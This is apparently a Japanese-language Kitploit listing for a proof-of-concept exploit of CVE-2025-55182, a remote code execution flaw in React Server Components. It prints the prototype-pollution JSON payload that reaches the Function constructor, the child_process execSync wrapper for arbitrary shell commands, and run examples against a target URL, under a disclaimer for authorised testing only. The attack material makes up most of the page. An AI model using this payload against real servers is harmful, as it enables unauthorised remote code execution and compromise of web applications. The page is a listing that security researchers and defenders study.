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react-ssr-vulnerability — これは CVE-2025-55182 (React SSR RCE) の POC スクリプトです。 | Kitploit
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react-ssr-vulnerability

これは CVE-2025-55182 (React SSR RCE) の POC スクリプトです。

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9ヶ月前未レビュー

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CVE-2025-55182 - React Server Components RCE 概念実証 (POC)

これは教育およびセキュリティ研究目的のみのPOCです。この脆弱性は該当パッケージの最新版で修正されています。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。お客様に対して取られた法的措置について、私は一切責任を負いません。

ペイロードの構造

このエクスプロイトは、JavaScriptのプロトタイプチェーンを悪用する特別に細工されたJSONオブジェクトを作成します。

root@kitploit:~
{
  "then": "$1:__proto__:then",           // Pollutes the prototype chain
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": jsCode,                    // Injected malicious code
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

コマンドのラップ

このPOCは2つのモードをサポートしています:

標準モード (デフォルト):

root@kitploit:~
process.mainModule.require("child_process").execSync("YOUR_COMMAND");

シェルコマンドをNode.jsのchild_processを介して実行するようにラップします。

Rawモード (--raw フラグ):

root@kitploit:~
// Executes arbitrary JavaScript directly

シェルコマンドラップなしで直接JavaScriptコードを実行できます。

使用方法

基本コマンド実行

root@kitploit:~
bun run index.ts <command_file> <target_url>

例:

root@kitploit:~
# Create a command file
echo "whoami" > cmd.txt

# Execute against vulnerable endpoint
bun run index.ts cmd.txt http://localhost:3000

Raw JavaScriptモード

root@kitploit:~
bun run index.ts --raw <js_file> <target_url>

例:

root@kitploit:~
# Create JavaScript payload
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js

# Execute raw JavaScript
bun run index.ts --raw payload.js http://localhost:3000

引数

  • <file_path>: コマンドまたはJavaScriptコードを含むファイルへのパス
  • <target_url>: Reactサーバー関数エンドポイントのURL
  • --raw: (オプション) シェルコマンドの代わりに生のJavaScriptを実行する

帰属

発見者: Lachlan Davidson
開示者: Reactチーム & Meta Security

参考文献

  • 公式Reactセキュリティアドバイザリ
  • CVE-2025-55182
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